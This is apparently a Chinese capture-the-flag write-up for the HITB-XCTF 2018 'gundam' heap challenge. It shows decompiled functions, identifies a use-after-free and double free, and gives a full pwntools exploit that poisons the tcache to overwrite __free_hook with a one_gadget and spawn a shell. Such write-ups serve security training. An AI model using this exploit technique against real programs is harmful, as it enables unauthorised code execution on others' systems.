HITB-XCTF_2018_GSEC_gundam

题目链接:https://github.com/zj3t/ctf/blob/master/xctf2018/gundam/gundam

查看保护

保护全开,改hook吧。libc是2.26的,有tcache。

分析

进ida

build

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
__int64 build()
{
int v1; // [rsp+0h] [rbp-20h] BYREF
unsigned int i; // [rsp+4h] [rbp-1Ch]
void *s; // [rsp+8h] [rbp-18h]
void *buf; // [rsp+10h] [rbp-10h]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]

v5 = __readfsqword(0x28u);
s = 0LL;
buf = 0LL;
if ( (unsigned int)dword_20208C <= 8 )
{
s = malloc(0x28uLL);
memset(s, 0, 0x28uLL);
buf = malloc(0x100uLL);
if ( !buf )
{
puts("error !");
exit(-1);
}
printf("The name of gundam :");
read(0, buf, 0x100uLL);
*((_QWORD *)s + 1) = buf;
printf("The type of the gundam :");
__isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 2 )
{
puts("Invalid.");
exit(0);
}
strcpy((char *)s + 16, &aFreedom[20 * v1]);
*(_DWORD *)s = 1;
for ( i = 0; i <= 8; ++i )
{
if ( !qword_2020A0[i] )
{
qword_2020A0[i] = s;
break;
}
}
++dword_20208C;
}
return 0LL;
}

只能创建9次。创建了0x28的堆,将创建的堆赋值0,接下来创建了0x100的名字堆,接着输入姓名和类型。这里的read读的是0x100大小,没有注意\x00的截断。可以猜到结构:

1
2
3
4
5
6
struct gundam{
uint32_t flag;
char *name;
char type[24];
}gundam;
struct gundam *factory[9]
1
2
3
4
def build(name, Type):
r.sendlineafter(menu, '1')
r.sendafter('The name of gundam :', name)
r.sendlineafter('The type of the gundam :', str(Type))

Visit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
__int64 Visit()
{
unsigned int i; // [rsp+4h] [rbp-Ch]

if ( dword_20208C )
{
for ( i = 0; i <= 8; ++i )
{
if ( qword_2020A0[i] && *(_DWORD *)qword_2020A0[i] )
{
printf("\nGundam[%u] :%s", i, *(const char **)(qword_2020A0[i] + 8LL));
printf("Type[%u] :%s\n", i, (const char *)(qword_2020A0[i] + 16LL));
}
}
}
else
{
puts("No gundam produced!");
}
return 0LL;
}

输出信息上自动化函数吧。

1
2
def visit():
r.sendlineafter(menu, '2')

destory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
__int64 Destory()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( dword_20208C )
{
printf("Which gundam do you want to Destory:");
__isoc99_scanf("%d", &v1);
if ( v1 > 8 || !qword_2020A0[v1] )
{
puts("Invalid choice");
return 0LL;
}
*(_DWORD *)qword_2020A0[v1] = 0;
free(*(void **)(qword_2020A0[v1] + 8LL));
}
else
{
puts("No gundam");
}
return 0LL;
}

20208c不能为0,接着输入想要删除的那个,有一个明显的UAF漏洞,free之后没有清0。

1
2
3
def destory(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Which gundam do you want to Destory:', str(index))

blow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 Blow()
{
unsigned int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
for ( i = 0; i <= 8; ++i )
{
if ( qword_2020A0[i] && !*(_DWORD *)qword_2020A0[i] )
{
free((void *)qword_2020A0[i]);
qword_2020A0[i] = 0LL;
--dword_20208C;
}
}
puts("Done!");
return __readfsqword(0x28u) ^ v2;
}

全部释放掉。指针清0了。上个自动化吧。

1
2
def blow():
r.sendlineafter(menu, '4')

编写exp

泄露地址,因为有UAF和double free,构造堆块,改free_hook为onegadget然后getshell。

先创建一个chunk看一上结构吧。

1
build('aaaa', 1)

可以看到先创建了一个0x20的堆,在堆中存放了type的值和name的地址,又因为创建了0x100大小的堆存放name,0x100的堆与0x31的堆相邻。清楚了结构接下来开始开始泄露lib_base。

因为有tcache,所以要先填满tcache,接下来再次释放会进入unstortedbin。

1
2
3
4
5
for i in range(9):
build('aaaa', 0)

for i in range(9):
destory(i)

因为有UAF,所以使用blow删除全部,unstortedbin的fd和bk不会被清0

1
blow()

接下来build7个,因为unstortedbin是第八个,所以循环填充7个,接下来再填第八个会覆盖fd但是还留着bk。

1
2
3
4
for i in range(7):
build('a' * 7)

build('a' * 7)

show一下,一把梭。

1
2
3
4
5
6
7
8
visit()
libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x3dac78
success('libc_base = ' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
one = [0x47c46, 0x47c9a, 0xfcc6e, 0xfdb1e]
one_gadget = one[2] + libc_base
success('free_hook = ' + hex(free_hook))
success('one_gadget = ' + hex(one_gadget))

libc_base有了,one_gadget有了,因为有tcache,所以直接double free,但是在double free之前先要释放2和1,因为tcache也有一定的检查。

1
2
3
4
5
destory(2)
destory(1)

destory(0)
destory(0)

接下来需要做的是blow一下,因为只释放了build,还要释放content这个部分,也就是name这里。

1
blow()

改free_hook为gadget吧,直接打。

1
2
3
4
build(p64(free_hook))
build('/bin/sh')
build(p64(one_gadget))
destory(3)

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *

context.log_level = 'debug'

file_name = './z1r0'

debug = 0
if debug:
r = remote('192.168.10.29', 6666)
else:
r = process(file_name)

elf = ELF(file_name)

libc = ELF('./2.26/libc-2.26.so')

menu = 'choice : '

def dbg():
gdb.attach(r)

def build(name):
r.sendlineafter(menu, '1')
r.sendlineafter('gundam :', name)
r.sendlineafter('gundam :', '0')

def visit():
r.sendlineafter(menu, '2')

def destory(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Destory:', str(index))

def blow():
r.sendlineafter(menu, '4')

for i in range(9):
build('a' * 7)

for i in range(9):
destory(i)

blow()

for i in range(7):
build('a' * 7)

build('a' * 7)

visit()

libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x3dac78

success('libc_base = ' + hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
one = [0x47c46, 0x47c9a, 0xfcc6e, 0xfdb1e]
one_gadget = one[2] + libc_base
success('free_hook = ' + hex(free_hook))
success('one_gadget = ' + hex(one_gadget))
system_addr = libc_base + libc.sym['system']
destory(2)
destory(1)

destory(0)
destory(0)

blow()

build(p64(free_hook))
build('/bin/sh')
build(p64(one_gadget))

destory(3)

r.interactive()